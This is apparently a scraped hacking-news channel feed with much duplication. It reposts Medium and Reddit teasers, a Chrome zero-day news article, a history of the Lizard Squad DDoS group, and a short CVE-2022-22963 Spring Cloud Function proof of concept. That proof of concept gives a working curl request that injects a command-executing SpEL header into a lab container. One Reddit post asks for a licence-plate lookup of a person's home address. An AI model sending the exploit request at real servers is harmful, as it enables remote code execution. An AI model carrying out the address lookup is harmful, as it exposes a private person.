Solving a Harry Potter Themed CTFContinue reading on InfoSec Write-ups » (https://infosecwriteups.com/cloudsek-ewyl-2022-ctf-eae4229b561c?source=rss------bug_bounty-5)
___________________________
@hacking_Attack
@Hacking_Video
___________________________
@hacking_Attack
@Hacking_Video
Medium
CloudSek EWYL 2022 CTF
Solving a Harry Potter Themed CTF
Hacking on Medium
Ronin Exploit, Largest Crypto Hack to Date
https://cdn-images-1.medium.com/max/820/1*TYOYRdhyWJBELQwpIntpvQ.png
Losses in excess of $610 million.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Ronin Exploit, Largest Crypto Hack to Date
https://cdn-images-1.medium.com/max/820/1*TYOYRdhyWJBELQwpIntpvQ.png
Losses in excess of $610 million.
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Ronin Exploit, Largest Crypto Hack to Date
Losses in excess of $610 million.
Hacking on Medium
Insecure Deserialisation(JAVA)
https://cdn-images-1.medium.com/max/2600/1*d0NHhTUihbNfZ8bz6YXQTg.png
In this blog post we will learn what is Deserialisation .Why we need it .How it works and how can we abuse it.All in the context of java.
Continue reading on System Weakness »
___________________________
@hacking_Attack
@Hacking_Video
Insecure Deserialisation(JAVA)
https://cdn-images-1.medium.com/max/2600/1*d0NHhTUihbNfZ8bz6YXQTg.png
In this blog post we will learn what is Deserialisation .Why we need it .How it works and how can we abuse it.All in the context of java.
Continue reading on System Weakness »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Insecure Deserialisation(JAVA)
In this blog post we will learn what is Deserialisation .Why we need it .How it works and how can we abuse it.All in the context of java.
Hacking on Medium
Cross-Contract Reentrancy Attack
https://cdn-images-1.medium.com/max/1200/1*vdXpQwo7YavhbQSbLoDT0w.png
Reentrancy attack is one of the most common attacks on EVM-based smart contracts. It is an attack with devastating damages, which can be…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Cross-Contract Reentrancy Attack
https://cdn-images-1.medium.com/max/1200/1*vdXpQwo7YavhbQSbLoDT0w.png
Reentrancy attack is one of the most common attacks on EVM-based smart contracts. It is an attack with devastating damages, which can be…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Cross-Contract Reentrancy Attack
Reentrancy attack is one of the most common attacks on EVM-based smart contracts. It is an attack with devastating damages, which can be…
Hacking on Medium
CloudSek EWYL 2022 CTF
https://cdn-images-1.medium.com/max/2600/1*lEqj94rcqFK9llK9vY75xg.png
Solving a Harry Potter Themed CTF
Continue reading on InfoSec Write-ups »
___________________________
@hacking_Attack
@Hacking_Video
CloudSek EWYL 2022 CTF
https://cdn-images-1.medium.com/max/2600/1*lEqj94rcqFK9llK9vY75xg.png
Solving a Harry Potter Themed CTF
Continue reading on InfoSec Write-ups »
___________________________
@hacking_Attack
@Hacking_Video
Medium
CloudSek EWYL 2022 CTF
Solving a Harry Potter Themed CTF
hacking: security in practice
is there a way to hack this?
I found a fake apple watch that acts like a fitness watch is there any way to hack it to make it work like a normal smartwatch
submitted by /u/metalhatcat
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
is there a way to hack this?
I found a fake apple watch that acts like a fitness watch is there any way to hack it to make it work like a normal smartwatch
submitted by /u/metalhatcat
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
is there a way to hack this?
I found a fake apple watch that acts like a fitness watch is there any way to hack it to make it work like a normal smartwatch
hacking: security in practice
POS System Emulating or Modding
Hello Everyone, there's these old cash registers that a restaurant I work at threw out because they were old outdated technology. These registers were the Sam4s SPS2000 touch screen register, which had a lot of cool features like customizable buttons and items. Being the IT guy of the store, I've had to take home some of these registers from time to time as sometimes the software on them would get corrupt, and I'd have to manually update it from a USB with new firmware files and such. I've even restored a bricked system via tftp with files provided by the retailer.
Now that these registers are retired, I'm looking for a way to either emulate these systems and get them on a different chip (for example, getting this on a raspberry pi would be cool) or to mod it with custom code, maybe even getting it to run doom or something funny I don't know lol.
There are multiple files I have:
zImage
xlib.yaffs
sps2000
ramdisk.gz
NANDBOOT.BIN
MICOM.BIN
BOOTROM.BIN
app.yaffs
*Note that some of these files don't have extensions for some reason.
All of these files are available for download via CCR, completely legally here
All I know is that the software on the system is an ARM Based Linux distro, made to run only the sps2000 main software (which I believe is contained in the sps2000 file because I've used that file alone to update and restore the software from time to time)
Would anyone be able to help me get this either emulated or decompiled? Or have your own fun with it lol. Thank you!
submitted by /u/maxwell321
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
POS System Emulating or Modding
Hello Everyone, there's these old cash registers that a restaurant I work at threw out because they were old outdated technology. These registers were the Sam4s SPS2000 touch screen register, which had a lot of cool features like customizable buttons and items. Being the IT guy of the store, I've had to take home some of these registers from time to time as sometimes the software on them would get corrupt, and I'd have to manually update it from a USB with new firmware files and such. I've even restored a bricked system via tftp with files provided by the retailer.
Now that these registers are retired, I'm looking for a way to either emulate these systems and get them on a different chip (for example, getting this on a raspberry pi would be cool) or to mod it with custom code, maybe even getting it to run doom or something funny I don't know lol.
There are multiple files I have:
zImage
xlib.yaffs
sps2000
ramdisk.gz
NANDBOOT.BIN
MICOM.BIN
BOOTROM.BIN
app.yaffs
*Note that some of these files don't have extensions for some reason.
All of these files are available for download via CCR, completely legally here
All I know is that the software on the system is an ARM Based Linux distro, made to run only the sps2000 main software (which I believe is contained in the sps2000 file because I've used that file alone to update and restore the software from time to time)
Would anyone be able to help me get this either emulated or decompiled? Or have your own fun with it lol. Thank you!
submitted by /u/maxwell321
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
POS System Emulating or Modding
Hello Everyone, there's these old cash registers that a restaurant I work at threw out because they were old outdated technology. These registers...
hacking: security in practice
Which do you prefer?
Feel free to explain your preference in the comments
View Poll
submitted by /u/STATERA_DIGITAL
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Which do you prefer?
Feel free to explain your preference in the comments
View Poll
submitted by /u/STATERA_DIGITAL
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Which do you prefer?
Feel free to explain your preference in the comments
hacking: security in practice
is there a software to download Dropbox or Vimeo files?
I don't want to screen record, eats up too much size and my time.
submitted by /u/SayianZ
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
is there a software to download Dropbox or Vimeo files?
I don't want to screen record, eats up too much size and my time.
submitted by /u/SayianZ
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
is there a software to download Dropbox or Vimeo files?
I don't want to screen record, eats up too much size and my time.
hacking: security in practice
Finding an address
okay who here can run a south australian number plate and find the address it’s linked to. guy stole a car and a motorcycle
submitted by /u/mattatata11223
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Finding an address
okay who here can run a south australian number plate and find the address it’s linked to. guy stole a car and a motorcycle
submitted by /u/mattatata11223
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Finding an address
okay who here can run a south australian number plate and find the address it’s linked to. guy stole a car and a motorcycle
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Google Chrome Bug Actively Exploited as Zero-Day
Google Chrome Bug Actively Exploited as Zero-DayPost Views: 32
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 2 Minutes
Google issued an update for the bug, which is found in the open-source V8 JavaScript engine.
Google has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that’s being actively exploited in the wild.
The bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has laid out in the past, occurs “when a piece of code doesn’t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion…Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.”
Google didn’t provide additional technical details, as is its wont, but did say that it was “aware that an exploit for CVE-2022-1096 exists in the wild.” An anonymous researcher was credited with finding the issue, which is labeled “high-severity” (no CVSS score was given).
The lack of any further information is a source of frustration to some.
“As a defender, I really wish it was more clear what this security fix is,” John Bambenek, principal threat hunter at Netenrich, said via email. “I get permission-denied errors or ‘need to authenticate,’ so I can’t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.”
See Also: Complete Offensive Security and Ethical Hacking Course
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Emergency Patch; Active ExploitThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its security advisory. Microsoft, which offers the Chromium-based Edge browser, also issued its own advisory. It’s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.
The patch was issued on an emergency basis, likely due to the active exploit that’s circulating, researchers noted.
“The first thing which stood out to me about this update is that it only fixes a single issue,” Casey Ellis, founder and CTO at Bugcrowd, noted by email. “This is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.”
He also commented on the speed of the patch being rolled out.
“The vulnerability was only reported on the 23rd of March, and while Google’s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,” he said. “Speculatively, I’d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.”
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH V8 Engine in the CrosshairsThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:
Last year delivered a total of these 16 Chrome zero days:
* CVE-2021-21148 – Feb. 4, an unnamed type of bug in V8
* CVE-2021-21224 – April 20, an issue with type confusion in V8 that could have allowed a remote attacker t[...]
___________________________
@hacking_Attack
@Hacking_Video
Google Chrome Bug Actively Exploited as Zero-Day
Google Chrome Bug Actively Exploited as Zero-DayPost Views: 32
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 2 Minutes
Google issued an update for the bug, which is found in the open-source V8 JavaScript engine.
Google has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that’s being actively exploited in the wild.
The bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has laid out in the past, occurs “when a piece of code doesn’t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion…Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.”
Google didn’t provide additional technical details, as is its wont, but did say that it was “aware that an exploit for CVE-2022-1096 exists in the wild.” An anonymous researcher was credited with finding the issue, which is labeled “high-severity” (no CVSS score was given).
The lack of any further information is a source of frustration to some.
“As a defender, I really wish it was more clear what this security fix is,” John Bambenek, principal threat hunter at Netenrich, said via email. “I get permission-denied errors or ‘need to authenticate,’ so I can’t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.”
See Also: Complete Offensive Security and Ethical Hacking Course
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Solutions-1.png Emergency Patch; Active ExploitThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its security advisory. Microsoft, which offers the Chromium-based Edge browser, also issued its own advisory. It’s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.
The patch was issued on an emergency basis, likely due to the active exploit that’s circulating, researchers noted.
“The first thing which stood out to me about this update is that it only fixes a single issue,” Casey Ellis, founder and CTO at Bugcrowd, noted by email. “This is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.”
He also commented on the speed of the patch being rolled out.
“The vulnerability was only reported on the 23rd of March, and while Google’s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,” he said. “Speculatively, I’d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.”
See Also: Kali Linux 2022.1 Release with Visual Updates, New Tools, Legacy SSH V8 Engine in the CrosshairsThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:
Last year delivered a total of these 16 Chrome zero days:
* CVE-2021-21148 – Feb. 4, an unnamed type of bug in V8
* CVE-2021-21224 – April 20, an issue with type confusion in V8 that could have allowed a remote attacker t[...]
___________________________
@hacking_Attack
@Hacking_Video
Black Hat Ethical Hacking
Google Chrome Bug Actively Exploited as Zero-Day | Black Hat Ethical Hacking
Google issued an update for the bug, which is found in the open-source V8 JavaScript engine.
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Google Chrome Bug Actively Exploited as Zero-Day Google Chrome Bug Actively Exploited as Zero-DayPost Views: 32 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Reading Time: 2 Minutes Google issued…
o execute arbitrary code inside a sandbox via a crafted HTML page.
* CVE-2021-30551 –- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)
* CVE-2021-30563 – July 15, another type-confusion bug in V8.
* CVE-2021-30633 – Sept. 13, an out-of-bounds write in V8
* CVE-2021-37975 – Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)
* CVE-2021-38003 – Oct. 28, an inappropriate implementation in V8
* CVE-2021-4102 – Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
See Also: Hacking stories: MafiaBoy, the hacker who took down the Internet
Source: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago
The post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
* CVE-2021-30551 –- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)
* CVE-2021-30563 – July 15, another type-confusion bug in V8.
* CVE-2021-30633 – Sept. 13, an out-of-bounds write in V8
* CVE-2021-37975 – Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)
* CVE-2021-38003 – Oct. 28, an inappropriate implementation in V8
* CVE-2021-4102 – Dec. 13, a use-after-free bug in V8. See Also: Offensive Security Tool: Scapy Are u a security researcher? Or a company that writes articles or write ups about Cyber Security, Offensive Security (related to information security in general) that match with our specific audience and is worth sharing?
If you want to express your idea in an article contact us here for a quote: info@blackhatethicalhacking.com
See Also: Hacking stories: MafiaBoy, the hacker who took down the Internet
Source: threatpost.com Source Linkhttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Merch-1024x1024.png Recent News* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/685f-article-211221-chrome-site-isolation-body-text-90x90.jpg HTML parser bug triggers Chromium XSS security flaw1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Polygon-hacker-90x90.jpg Hackers getting faster at latching onto unpatched vulnerabilities2 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/mitmproxy-90x90.png HTTP request smuggling bug patched in mitmproxy3 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ee3dc49c79d14f20970cc8b20063f52e-90x90.jpg Flash loan attack on One Ring protocol nets crypto-thief $1.4 million6 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-3-1-90x90.jpg DeadBolt Ransomware Resurfaces to Hit QNAP Again7 days ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/hackers-90x90.jpg Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/Invisible-man-scaled-e1647906959971-90x90.jpg Browser-in-the-Browser Attack Makes Phishing Nearly Invisible1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/pdf-export-90x90.png Workaround offered for unpatched HTML-to-PDF rendering vulnerability1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-2-scaled-90x90.jpg Caketap, a New Unix rootkit for stealing ATM banking data2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/AdobeStock_390895150_Editorial_Use_Only-1-1-min-scaled-1-90x90.jpeg Hundreds of GoDaddy-hosted sites backdoored in a single day2 weeks ago
The post Google Chrome Bug Actively Exploited as Zero-Day first appeared on Black Hat Ethical Hacking.
___________________________
@hacking_Attack
@Hacking_Video
Hacking on Medium
Getting started with Manual Content Discovery
https://cdn-images-1.medium.com/max/2000/0*Zlhuku2VWMB_goQ0.jpeg
Understanding Robots.txt, Favicon, HTML Headers and the Framework stack
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Getting started with Manual Content Discovery
https://cdn-images-1.medium.com/max/2000/0*Zlhuku2VWMB_goQ0.jpeg
Understanding Robots.txt, Favicon, HTML Headers and the Framework stack
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
Getting started with Manual Content Discovery
Understanding Robots.txt, Favicon, HTML Headers and the Framework stack
Hacking on Medium
What is ethical hacking? A guide for beginners
https://cdn-images-1.medium.com/max/600/0*8YYyJCpXNB6yK03E
In our introduction to ethical hacking, we look at what the practice involves, why it’s important, and how you can get started with…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
What is ethical hacking? A guide for beginners
https://cdn-images-1.medium.com/max/600/0*8YYyJCpXNB6yK03E
In our introduction to ethical hacking, we look at what the practice involves, why it’s important, and how you can get started with…
Continue reading on Medium »
___________________________
@hacking_Attack
@Hacking_Video
Medium
What is ethical hacking? A guide for beginners
In our introduction to ethical hacking, we look at what the practice involves, why it’s important, and how you can get started with…
hacking: security in practice
Someone is using my email to try to hack into several of my accounts
Starting yesterday, someone tried hacking into my Coinbase using my email and the password reset function (I tracked the IP to Netherlands) and within an hour, another hack was attempted on Crypto .com, KuCoin, and Doordash. They even filed support requests using my email to try to get the password and phone number changed. I have 2FA enabled on pretty much all accounts that I have online, but these attempts are getting quite annoying. I would hope that there’s some way to only allow password requests from authorized devices, but how can I prevent these attempted hacks? Thanks!
submitted by /u/BraxXp
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Someone is using my email to try to hack into several of my accounts
Starting yesterday, someone tried hacking into my Coinbase using my email and the password reset function (I tracked the IP to Netherlands) and within an hour, another hack was attempted on Crypto .com, KuCoin, and Doordash. They even filed support requests using my email to try to get the password and phone number changed. I have 2FA enabled on pretty much all accounts that I have online, but these attempts are getting quite annoying. I would hope that there’s some way to only allow password requests from authorized devices, but how can I prevent these attempted hacks? Thanks!
submitted by /u/BraxXp
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Someone is using my email to try to hack into several of my accounts
Starting yesterday, someone tried hacking into my Coinbase using my email and the password reset function (I tracked the IP to Netherlands) and...
hacking: security in practice
Motivation?
I know how I got hacked, what I want to know what is their motivation?
i saw a couple of logins from poland and ukraine IP's
they had access to my other accounts, such as gmail, instagram, etc but they didnt even login there.
they only used it to login to my dummy discord account to spread some obvious exe virus and used my acc for a site called moonpay
what do you think is the motive behind this?
submitted by /u/stebgay
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
Motivation?
I know how I got hacked, what I want to know what is their motivation?
i saw a couple of logins from poland and ukraine IP's
they had access to my other accounts, such as gmail, instagram, etc but they didnt even login there.
they only used it to login to my dummy discord account to spread some obvious exe virus and used my acc for a site called moonpay
what do you think is the motive behind this?
submitted by /u/stebgay
[link] [comments]
___________________________
@hacking_Attack
@Hacking_Video
reddit
Motivation?
I know how I got hacked, what I want to know what is their motivation? i saw a couple of logins from poland and ukraine IP's they had access to...
CVE-2022-22963 - PoC Spring Java Framework 0-day Remote Code Execution Vulnerability
To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example: docker run -it -d -p 8080:8080 bobcheat/springboot-public Exploit Curl command: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter' Or using Burp suite: Credits https://github.com/hktalent/spring-spel-0day-poc Download CVE-2022-22963
Read more...
To run the vulnerable SpringBoot application run this docker container exposing it to port 8080. Example: docker run -it -d -p 8080:8080 bobcheat/springboot-public Exploit Curl command: curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter' Or using Burp suite: Credits https://github.com/hktalent/spring-spel-0day-poc Download CVE-2022-22963
Read more...
Hacking Articles Tips Tricks Videos Tutorials
Photo
Black Hat Ethical Hacking
Lizard Squad – the infamous hacking group that brought Xbox and PlayStation networks to their knees.
Lizard Squad – the infamous hacking group that brought Xbox and PlayStation networks to their knees.Post Views: 24
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 7 Minutes
Lizard squad was a notorious hacking group that claimed responsibility for some of the biggest hacks and DDoS attacks in gaming history, including attacks on the Xbox and PlayStation networks.
They used to disrupt streamers, game events, and studios and many of its members have been arrested over the years. Lizard Squad proclaimed themselves to be the “kings” of DDoS attacks.
First Attack on PlayStation Network, League of Legends.
The attacks started in August 2014. Lizard Squad hackers launched their DDoS attacks first on the League of Legends servers taking them offline.
Then, they proceeded to launched DDoS attacks on the PlayStation Network, as well as on servers run by Blizzard. The attacks took the networks down for nearly a whole day, causing problems to gamers worldwide.
The news for the attacks was on the front page of all media around the world due to the magnitude of the people affected.
The FBI launched an investigation into the group when the attackers twitted a bomb threat against Sony’s executive, John Smedley, which forced the flight to be diverted, causing a nationwide hunt for the group.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-4-1.jpg
Lizard Squad bomb threat Tweet
A month later, in September 2014, the group launched DDoS attacks on Activision’s Destiny and call of Duty: Ghosts, as well as on EA’s FIFA, Sims 4.
Given the particular popularity of Destiny and their complete reliance on live servers, the problems caused were enormous, a lot of players were unable to login for hours.
Our first test: Parts of Destiny #offline
— Lizard Squad (@LizardSquad) September 20, 2014
Parts of Call Of Duty Ghosts #offline
— Lizard Squad (@LizardSquad) September 20, 2014
December Attacks
The majority of Lizard Squad’s online activity, outside hacking, comes via their Twitter account.
Following the attacks, the hacking group constantly provided information for their operations or threats while also claiming responsibility for the attacks through their twitter account.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/What-is-DDos-Attack-Xbox-Live-Down-Lizard-SquadPS4-Lizard-Squad-Attack-What-is-the-Lizard-Squad-Who-are-the-Lizard-Squad-UK-USA-339966.jpg
Lizard Squad Tweet about nationalcrimeagency.gov.uk going offline due to DDoS attack
Lizard Squad botnet is estimated that contained somewhere between 120K and 150K bots. From pcs and routers to fridges and other smart home devices.
Lizard Squad attacks went quite over October and November, preparing themselves for their largest attack yet.
On December 1st and 8th 2014, the hackers resurfaced, taking Xbox and PlayStation networks respectively offline again.
Xbox users reported that attempting to connect and use the service would give them an ‘80151909’ error code.
On December 2nd, the group hacked the machinima.com website and replaced their front page with the ASCII art of their logo.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/The-hack-of-Machinima-Inc.-covered-the-page-in-characters-to-make-the-shape-of-Lizard-Squads-Twitter-image.jpg
ASCII Lizard Squad logo on the defaced machinima.com website
After the attacks in December, the Twitter account of the Lizard Squad’s members warned that they would continue the att[...]
___________________________
@hacking_Attack
@Hacking_Video
Lizard Squad – the infamous hacking group that brought Xbox and PlayStation networks to their knees.
Lizard Squad – the infamous hacking group that brought Xbox and PlayStation networks to their knees.Post Views: 24
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png
Reading Time: 7 Minutes
Lizard squad was a notorious hacking group that claimed responsibility for some of the biggest hacks and DDoS attacks in gaming history, including attacks on the Xbox and PlayStation networks.
They used to disrupt streamers, game events, and studios and many of its members have been arrested over the years. Lizard Squad proclaimed themselves to be the “kings” of DDoS attacks.
First Attack on PlayStation Network, League of Legends.
The attacks started in August 2014. Lizard Squad hackers launched their DDoS attacks first on the League of Legends servers taking them offline.
Then, they proceeded to launched DDoS attacks on the PlayStation Network, as well as on servers run by Blizzard. The attacks took the networks down for nearly a whole day, causing problems to gamers worldwide.
The news for the attacks was on the front page of all media around the world due to the magnitude of the people affected.
The FBI launched an investigation into the group when the attackers twitted a bomb threat against Sony’s executive, John Smedley, which forced the flight to be diverted, causing a nationwide hunt for the group.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/ezgif.com-gif-maker-4-1.jpg
Lizard Squad bomb threat Tweet
A month later, in September 2014, the group launched DDoS attacks on Activision’s Destiny and call of Duty: Ghosts, as well as on EA’s FIFA, Sims 4.
Given the particular popularity of Destiny and their complete reliance on live servers, the problems caused were enormous, a lot of players were unable to login for hours.
Our first test: Parts of Destiny #offline
— Lizard Squad (@LizardSquad) September 20, 2014
Parts of Call Of Duty Ghosts #offline
— Lizard Squad (@LizardSquad) September 20, 2014
December Attacks
The majority of Lizard Squad’s online activity, outside hacking, comes via their Twitter account.
Following the attacks, the hacking group constantly provided information for their operations or threats while also claiming responsibility for the attacks through their twitter account.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/What-is-DDos-Attack-Xbox-Live-Down-Lizard-SquadPS4-Lizard-Squad-Attack-What-is-the-Lizard-Squad-Who-are-the-Lizard-Squad-UK-USA-339966.jpg
Lizard Squad Tweet about nationalcrimeagency.gov.uk going offline due to DDoS attack
Lizard Squad botnet is estimated that contained somewhere between 120K and 150K bots. From pcs and routers to fridges and other smart home devices.
Lizard Squad attacks went quite over October and November, preparing themselves for their largest attack yet.
On December 1st and 8th 2014, the hackers resurfaced, taking Xbox and PlayStation networks respectively offline again.
Xbox users reported that attempting to connect and use the service would give them an ‘80151909’ error code.
On December 2nd, the group hacked the machinima.com website and replaced their front page with the ASCII art of their logo.
https://www.blackhatethicalhacking.com/wp-content/uploads/2022/03/The-hack-of-Machinima-Inc.-covered-the-page-in-characters-to-make-the-shape-of-Lizard-Squads-Twitter-image.jpg
ASCII Lizard Squad logo on the defaced machinima.com website
After the attacks in December, the Twitter account of the Lizard Squad’s members warned that they would continue the att[...]
___________________________
@hacking_Attack
@Hacking_Video
Black Hat Ethical Hacking
Lizard Squad – the infamous hacking group that brought Xbox and PlayStation networks to their knees. | Black Hat Ethical Hacking
Lizard squad was a notorious Lizard squad that claimed responsibility for some of the biggest hacks and DDoS attacks in gaming history, including attacks on the Xbox and PlayStation networks.
Hacking Articles Tips Tricks Videos Tutorials
Black Hat Ethical Hacking Lizard Squad – the infamous hacking group that brought Xbox and PlayStation networks to their knees. Lizard Squad – the infamous hacking group that brought Xbox and PlayStation networks to their knees.Post Views: 24 https://www…
acks on Christmas.
“That’s a small dose of what’s to come on Christmas,” reads their account, which later added: “Sony had it worse.”
Xbox Live #offline
— Lizard Squad (@LizardPatrol) December 2, 2014
On the 22nd of December, North’s Korea Internet access went dark. The mystery behind the motive of the 9,5-hour outage was still unknown until the members of the Lizard Squad claimed responsibility for the attack and linked an IP address located in North Korea.
Further attacks, Christmas attacks
On December 25, 2014, the Lizard Squad hackers who had previously threatened to take down gaming services on Christmas, followed through on their promise and launched DDoS attacks on the PlayStation Network and Xbox Live.
The attacks caused widespread anger among gamers around the world. The attacks stopped only when the Internet entrepreneur Kim Dotcom offer 3000 vouchers for his Mega cloud storage service, worth $99 each.
Attacks on Tor, Sybil attack, Malaysia Airlines
The group twitted that they were no longer attacking the gaming giants but on the Tor network.
To clarify, we are no longer attacking PSN or Xbox. We are testing our new Tor 0day.
— Lizard Squad (@LizardMafia) December 26, 2014
